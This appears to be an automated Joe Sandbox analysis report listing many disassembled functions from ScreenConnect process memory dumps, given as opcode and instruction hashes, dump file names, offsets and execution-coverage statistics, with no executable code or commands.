Opcode ID: 9cd504a4dafc6678aaeffaf74c48385f5b6632e7c482d4dbb8ed7600bd4de9ab
Instruction ID: 27eedcc6af84e505d0efdf4c05928102750a24b0b3d5a8666120717be33727cb
Opcode Fuzzy Hash: 9cd504a4dafc6678aaeffaf74c48385f5b6632e7c482d4dbb8ed7600bd4de9ab
Instruction Fuzzy Hash: EDF05E317002055F9714DAADE840D5BBBEDEF886B4714863AE409CB3A4EB71EC0587A0

Function 01BCFA08 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 500f7ce0f3d73105a2f7ca6cc6f289bcf89ef561290fa5e9b5c7355fe7912fdd
Instruction ID: d6b6357c6252ea83f9a9edd9010b88905f673ad7aed5c5d0c60d9254822509ab
Opcode Fuzzy Hash: 500f7ce0f3d73105a2f7ca6cc6f289bcf89ef561290fa5e9b5c7355fe7912fdd
Instruction Fuzzy Hash: 86F0E231780201AB8A199B9FA89092BBBDEEFC4A1034484BFE119C7310DF74FC098794

Function 01BC329C Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1b280a6a179d4eac54418002f347a13729a5f591d35cf7240fefe708790b71f
Instruction ID: 16ae73fbdec65bdc59c63dc3af76f3778059dc77bdc75a79e4354f7e81546407
Opcode Fuzzy Hash: f1b280a6a179d4eac54418002f347a13729a5f591d35cf7240fefe708790b71f
Instruction Fuzzy Hash: B0F0242250C2D00FCB2B8778B8916993FF5EEA7200B8905DFD0818F567D758EA0AD392

Function 01BC31F0 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26f93f1b280bb11cfa150d98bca759b44cec66a5b5b6ce234c4fe80cb14f335e
Instruction ID: 69af326ce6dece164cef3dc5b0233dbb02ae995d60705c5cffd3fbccae90499a
Opcode Fuzzy Hash: 26f93f1b280bb11cfa150d98bca759b44cec66a5b5b6ce234c4fe80cb14f335e
Instruction Fuzzy Hash: 95F0C434900208EFDF48EFA8D545AACBBF9FB44745F5091A9C505AB264DB306A44CB45

Function 01BCBCBA Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a9d97c6c8f1bc27ff8bff4d67ef9498a77fc1b7049d78dcc101905a9ec95937
Instruction ID: 8b0c14eb3c2a4df4e593cae11419df49167585953cc3ef7aa62e45f4cce1dc81
Opcode Fuzzy Hash: 8a9d97c6c8f1bc27ff8bff4d67ef9498a77fc1b7049d78dcc101905a9ec95937
Instruction Fuzzy Hash: 67F0E572A0D3415FD729CB7A980558BBFDACF82228709C1FFE04CC3182E9388402C325

Function 01BCE2AA Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d62c674ad2749a6f9700218a10c7e10362fce3d7191cd5dbb3f78339985bd265
Instruction ID: 3edccb2b418855a0228b0e91b80e35bc8fcb3f83a03339af9f88809e948ff986
Opcode Fuzzy Hash: d62c674ad2749a6f9700218a10c7e10362fce3d7191cd5dbb3f78339985bd265
Instruction Fuzzy Hash: 9CF01730B00114CFDB19DB69C664AAABBE2EF88751704806AE805CB264EB35DD11CB80

Function 01BCEBA0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab826cd1c99a9675e0580c3f3abcb36470dff10fb8f1cef1dd4e29017d1cb207
Instruction ID: 8d77dc6d4e852c650f2036d805b944af86832507fa8d8634e4d5021c9c5d5e6d
Opcode Fuzzy Hash: ab826cd1c99a9675e0580c3f3abcb36470dff10fb8f1cef1dd4e29017d1cb207
Instruction Fuzzy Hash: 26E06536704109AF4B08CB4ED440D6BBFAADFC9660714C06BF80DC7315DA35DD128BA4

Function 01BCAA48 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77400d00910e9007e487aa1187628f7613734504b1a248761a474a6d14497016
Instruction ID: 2ab95c13f8808f9938c1d59ce016d04ef3bc756c72215027b4c30e1c518596dd
Opcode Fuzzy Hash: 77400d00910e9007e487aa1187628f7613734504b1a248761a474a6d14497016
Instruction Fuzzy Hash: CCF0E53A3447404FEB185EADA0D81297BD7FB8866571401BEE60EC7292CE784C068700

Function 01BC31E0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dcf1140a79c8c064e375c0dfec625111c878d62afc62deb7ef733421cbf65f7
Instruction ID: e5e5704efca288fc1d82b18708378be96e68dc5aca5dfaa77c8ecb1d5a2385ce
Opcode Fuzzy Hash: 1dcf1140a79c8c064e375c0dfec625111c878d62afc62deb7ef733421cbf65f7
Instruction Fuzzy Hash: A0F0CD30A08288DFCF4ADBA8D4805ACBFF2FF02340F9456D9C051AF1A2CB342A41CB41

Function 01BCDF09 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7967ab921384fea5b22d98555b0c3bb90c4871c81c8da1a5709c970be7c2889
Instruction ID: 757dacaadfec5150a82869a67c152686c2754b490582f9bb9853cbf591acbb3a
Opcode Fuzzy Hash: a7967ab921384fea5b22d98555b0c3bb90c4871c81c8da1a5709c970be7c2889
Instruction Fuzzy Hash: DBE0EDB58882844FEB05DF28E8894A5BB34FF0631230106CAE80483007E7355903CB62

Function 01BCE270 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 981d9e32d6b58931136930f140fe55fedbee1f0d262e32e71c0735ad8d0b834b
Instruction ID: d9638febc8b00d171d356e1848b8af8c3b9ebc69cb2c0bd7fe755f12b2db4c24
Opcode Fuzzy Hash: 981d9e32d6b58931136930f140fe55fedbee1f0d262e32e71c0735ad8d0b834b
Instruction Fuzzy Hash: F2F0D471E00219DF8B44DFADC84169EFBF5EF49200B24C16AD918EB210E331AA12CFC0

Function 01BCAA58 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f771323f6e49f006efeca97f7b2a945f0ee20ac91d26fe4a56e6a4668c8d38ae
Instruction ID: 15b8a8f6018350513e1d881d8ec7c743e67f104ee67233d361edf2ae9eca47e4
Opcode Fuzzy Hash: f771323f6e49f006efeca97f7b2a945f0ee20ac91d26fe4a56e6a4668c8d38ae
Instruction Fuzzy Hash: 35E0DF363002105BAA282AAE648C52ABBDAFBC8A61B14007DF60AC3380CEB59C094390

Function 01BC52E8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44fee6a920b4bdd1c41d05f71960ac0327f59a8cc982c03c71294326f3aa0980
Instruction ID: 08afc9b141ec5c21fae9ba3ba89fe4a23f65eb0143acd787f86e593388cdac06
Opcode Fuzzy Hash: 44fee6a920b4bdd1c41d05f71960ac0327f59a8cc982c03c71294326f3aa0980
Instruction Fuzzy Hash: 04E0EDB2A082442FCB0C9BA898205ADBFE89B4B210B0854EAD08993342D93A69018384

Function 01BC0E30 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53db91d589bf487baa7a80f4433888d14d8b9d9fe2bc06fbb548b270e927aa2b
Instruction ID: bd6664c1ee3d8d5dfe63d9aa77501527da4cce9c2e4aea28cb56fdf6a0e7fdb5
Opcode Fuzzy Hash: 53db91d589bf487baa7a80f4433888d14d8b9d9fe2bc06fbb548b270e927aa2b
Instruction Fuzzy Hash: 3FE012332001005B861D6769B50859E769DEBD525571489FED10A8B614DF769C0A8BD0

Function 01BCF950 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb5a306c90c58b235f51723c147cd3094154ad57a1e4a3f0eb34327d19f44a8b
Instruction ID: 60324150c7ab057f9852d5bdaca6c2dcb85f802a8b926287625bb5bf21fc56e2
Opcode Fuzzy Hash: eb5a306c90c58b235f51723c147cd3094154ad57a1e4a3f0eb34327d19f44a8b
Instruction Fuzzy Hash: 6DE02632B412051BC318991BEC40957F3AEEBD9664B50047CD20CC7311CE729C828290

Function 01BC5920 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f7f6e2bd0e5336825268a88a580a522a2a69023fc6468e9229e326ec9d309d1
Instruction ID: 4012aefbacf1d2e80c52db1b1ffa30fd418f24c27ac9a2f93e82cf4d5e9a8b50
Opcode Fuzzy Hash: 5f7f6e2bd0e5336825268a88a580a522a2a69023fc6468e9229e326ec9d309d1
Instruction Fuzzy Hash: 43E065753052444FD7095B78A02446D7FAAEBDD363B15A0A6D505C33D5CF349C16D740

Function 060D15A3 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07bdeb9058c42ed7fcf7fa22db690fd4fa43dd4e6d9ba0d3e7e3fe5883121728
Instruction ID: 67120d1b9f0cc5c9693a617a549105eb016c3e2eeec2440989e251003618d749
Opcode Fuzzy Hash: 07bdeb9058c42ed7fcf7fa22db690fd4fa43dd4e6d9ba0d3e7e3fe5883121728
Instruction Fuzzy Hash: E8E02633304700AB9B209A19E881C4FBFACEB88224344817AE40D9B344DF30FD04C7E4

Function 01BC3257 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c52fcb1401a01fabd72376be89701019668b64ff69df190461621eabe41f65
Instruction ID: e76476ac77bdf4fdf701d05a258fd7ca6399d19db6d84d7d0e4b710c958bb252
Opcode Fuzzy Hash: 37c52fcb1401a01fabd72376be89701019668b64ff69df190461621eabe41f65
Instruction Fuzzy Hash: 89E09B315482954FCB16D668F8816CD2FF5DF92210B0809EAD4415B557D768990EC391

Function 060D15A8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f40406776c77d8aa51c434f24b2fdc8ce8e96e1fe1bddd2d650498eba15ce3e8
Instruction ID: 5804f8f3c50a948fa56314a2825df03cdcd1476c160dc2b0b29b24b23b0db089
Opcode Fuzzy Hash: f40406776c77d8aa51c434f24b2fdc8ce8e96e1fe1bddd2d650498eba15ce3e8
Instruction Fuzzy Hash: C2E086323056056B87249A19E881C5FBFADEB89660744816AE50D8B645DE31FD05C7E4

Function 01BC5930 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 434dcc7b0945d6393a08f5768e898d0732e34d0e1f27b9d1d0727035d59bc6cf
Instruction ID: a2e6226245051190438c3265db53a59a1f48e99b2fb89302b96dd3faaf71000d
Opcode Fuzzy Hash: 434dcc7b0945d6393a08f5768e898d0732e34d0e1f27b9d1d0727035d59bc6cf
Instruction Fuzzy Hash: CFE046B63012145B97086679A41886E7A9EEBDD262B14A126E50AC3394CF389C02CBA0

Function 060D2858 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38dbe2c3d150a317dbeb4a38ffa6f460ef27965fe78b3b3d6dfd374a2ea50ff3
Instruction ID: d1918928fc8222929f4ba650362623785990d36428bc32e239d2ad6b9958d83a
Opcode Fuzzy Hash: 38dbe2c3d150a317dbeb4a38ffa6f460ef27965fe78b3b3d6dfd374a2ea50ff3
Instruction Fuzzy Hash: 75E086327002045746086B6DA40586E7B9EDBC651034849BDE509DF211DF76EC0747D0

Function 060D039B Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fb7a212584c0bd9af3180a3f6138ddaec71643c33db7fd81edeeacf688f7439
Instruction ID: 850d1b99684e569dc67a20c9996560a02df34456f57346bbdca7bf05cf1350c7
Opcode Fuzzy Hash: 5fb7a212584c0bd9af3180a3f6138ddaec71643c33db7fd81edeeacf688f7439
Instruction Fuzzy Hash: B9E08C7B200600ABC3009A1ADA08E4ABFA9EFD9721B09807BF509C7320DA35EC208790

Function 01BC5979 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06792cadd730269575d286f3d920b09e842604efc05e3c90c0891ab9c4f54478
Instruction ID: cdef64b9776e6b794f18461e9dfde1baa9046b7e642892eecb29fe77729ba273
Opcode Fuzzy Hash: 06792cadd730269575d286f3d920b09e842604efc05e3c90c0891ab9c4f54478
Instruction Fuzzy Hash: B7E09230D44184DFCB59EFB49A5155D7BF4DF0B204B0054DED409E7221DA345E08DB40

Function 01BCBC82 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 404e9af7075fcc8518762a0efb89997160529e510fb9f1bac18f8a14cce7d126
Instruction ID: dfde2d02268df65d8e51707b284627ffeebe0439d7407c32ae0ebed6414fb3cb
Opcode Fuzzy Hash: 404e9af7075fcc8518762a0efb89997160529e510fb9f1bac18f8a14cce7d126
Instruction Fuzzy Hash: FFE08C718492418FC380EF34B989084BFF0FB05214B5984AED8C8C3602E339A9478B82

Function 060D0330 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 644cc1ae3e291ffd3e2543b2f9d79e47db8462920e48444ef2863db12e4a947f
Instruction ID: d2669d3a7bb935d017d9ead0b877fb5c4da0ef7434c78f2d46ce2afbf0f3981b
Opcode Fuzzy Hash: 644cc1ae3e291ffd3e2543b2f9d79e47db8462920e48444ef2863db12e4a947f
Instruction Fuzzy Hash: DFE0C2B66083149FC7069F68D810C9A3BB99F0A65030280A7F945CB371DA71AE04E791

Function 01BCAFE5 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c0315b67c31acbf64d6d594efaac321cb3f7762a8b25479f005f33d343799e9
Instruction ID: d7c918bce97e96fcb0ba6a2c9c9bf8e935e66112da6a572854bf284f5ec9eee6
Opcode Fuzzy Hash: 2c0315b67c31acbf64d6d594efaac321cb3f7762a8b25479f005f33d343799e9
Instruction Fuzzy Hash: F3E04F7090D3809FC342AF38A9541497FF0AE06600B4684AED8C9C7251E335AC46C762

Function 060D03A8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00cbbd88731c1a305cf08ebb71de3513eb9419902e472cb2402f62bf3fd02d9e
Instruction ID: f11a18d21a6e672efcd81f493fddbff6ba315550f620d706f9b3033ab00c64c5
Opcode Fuzzy Hash: 00cbbd88731c1a305cf08ebb71de3513eb9419902e472cb2402f62bf3fd02d9e
Instruction Fuzzy Hash: E1D05E3A3005149F83049B4EE508C4ABFEAEFC9721305807AF609C7320CA71EC11CB94

Function 01BCED28 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5201a4473785114aeeb0dfabaef7497aa4427763a1455d65d9cc178fc7ae82
Instruction ID: 933337b673302e4ec11ea5aa8a9237ed445890eaab044f5e6e70031c0ab81469
Opcode Fuzzy Hash: 2c5201a4473785114aeeb0dfabaef7497aa4427763a1455d65d9cc178fc7ae82
Instruction Fuzzy Hash: 26E086314087498FC701EF68D459465BFF4EF95200B05868BE5895B123FB70D585D741

Function 01BC5988 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63d2bdbd0d9cd1a586bfc3a42f4867219177270d2be89b78bac2a9bb35154bf2
Instruction ID: 28f730f028c5a6331b966716aaaccd58b57c9073b4605a0618eab8c74acfa278
Opcode Fuzzy Hash: 63d2bdbd0d9cd1a586bfc3a42f4867219177270d2be89b78bac2a9bb35154bf2
Instruction Fuzzy Hash: 3AD01230D41148EF8B08EFA4E90055DB7FDEB49205B1055A9D809D3214DA316E049B80

Function 060D036B Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec41a23ce0cbad856d2961933688f6590acc50f310d09cd8e8ac97a8f2554547
Instruction ID: d5fc5681ab6aeb293e6fb924701fa591d4b1cb9b002ff8b2ea170c1e9c0e6315
Opcode Fuzzy Hash: ec41a23ce0cbad856d2961933688f6590acc50f310d09cd8e8ac97a8f2554547
Instruction Fuzzy Hash: C6D0A733300014AFAB089B5CD410C567BD9DF985203004066F908D7331CB71EC1097E1

Function 060D0340 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27050b8ef231e9396bd5d1225619073b35999da386b10fd3f0d562816f16c337
Instruction ID: 8330350aa878a0c9ab65dd261154426749f54094b043e4e1786fc005a7aa60de
Opcode Fuzzy Hash: 27050b8ef231e9396bd5d1225619073b35999da386b10fd3f0d562816f16c337
Instruction Fuzzy Hash: 43D012357106245F9744AA5DE404C9A77DEDF4D660310407AF605CB330DEB1AD1097D4

Function 060D0370 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f4dbcecb20b37eb951089d93f71da77079779c549dab9dbf5f3e9466ddacc90
Instruction ID: eec71576231dcd769f3cbbbd754d03d526c6f909ece09d56e954e2f43ea30eed
Opcode Fuzzy Hash: 6f4dbcecb20b37eb951089d93f71da77079779c549dab9dbf5f3e9466ddacc90
Instruction Fuzzy Hash: A1D0C7363001149F97089A5DD414C567BD9DF995607114066E509C7371DA71DC1197D5

Function 01BCB9A9 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69116d112186de98f7888db52e78eb996838662015ebe31c26c236b72995063c
Instruction ID: c4cc06208a4b9aa5982004f6ade88abc5fe0e892144ae3b7475fdbb797835147
Opcode Fuzzy Hash: 69116d112186de98f7888db52e78eb996838662015ebe31c26c236b72995063c
Instruction Fuzzy Hash: D6C080617440100FC294D10CDCA0615EBE2DBE924572CC4B7A51DC77B5D971CC538345

Function 01BCED38 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f4039d04769ede1ba66e470d048f25482d74884a16133a5fff78a5ac3c2c596
Instruction ID: 6203088b9df24af69f16b7bdfa0901a4c3992bec5cf05b4f6576f19a2cf3d925
Opcode Fuzzy Hash: 4f4039d04769ede1ba66e470d048f25482d74884a16133a5fff78a5ac3c2c596
Instruction Fuzzy Hash: 1DD0C932814B0D8ACB00BFB8D4554A9FBB8EFD5240F00CA5EE88A67121FF70E6D0D681

Function 01BCE660 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90914831e188827bec8fb6699bd0399d0e9162b9d4fb3fdc093ca0e1bd9b8edc
Instruction ID: e413b76829ce511345703c63ff0569b35dd3d5bbca212faf01176842e92940fb
Opcode Fuzzy Hash: 90914831e188827bec8fb6699bd0399d0e9162b9d4fb3fdc093ca0e1bd9b8edc
Instruction Fuzzy Hash: 3BB011302000008B8288CA08C880808F3A2ABE8308328C0AEA808CB20ACF33E803CA08

Function 060D295B Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d2d8656668ca5a9b2be514fb54994d9c8b1bba9fcda8ff2eabc9c2103c0284
Instruction ID: 37f3283f21eecc101d6e058e1ad04a8a4f1e7d62e434ae583a9c914f3cf7d3f4
Opcode Fuzzy Hash: f8d2d8656668ca5a9b2be514fb54994d9c8b1bba9fcda8ff2eabc9c2103c0284
Instruction Fuzzy Hash:

Analysis Process: ScreenConnect.WindowsClient.exePID: 3836, Parent PID: 1440COMMON

Execution Graph

Execution Coverage:	14.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF849225951 Relevance: 4.5, Strings: 3, Instructions: 712
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(O"I, xrefs: 00007FF849226180
X!I, xrefs: 00007FF849225B09
x!!I, xrefs: 00007FF849225C97

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID: (O"I$x!!I$X!I
API String ID: 0-481848013
Opcode ID: 5e91e7c191de2721839b4a6c7bcf7da2377f2d2c60b2e0d625c8c9d9b705ab8f
Instruction ID: 3122899ae0c1b571aa8dc13680bf659fcac68dcd74a9356d656513a3ea3ed1e4
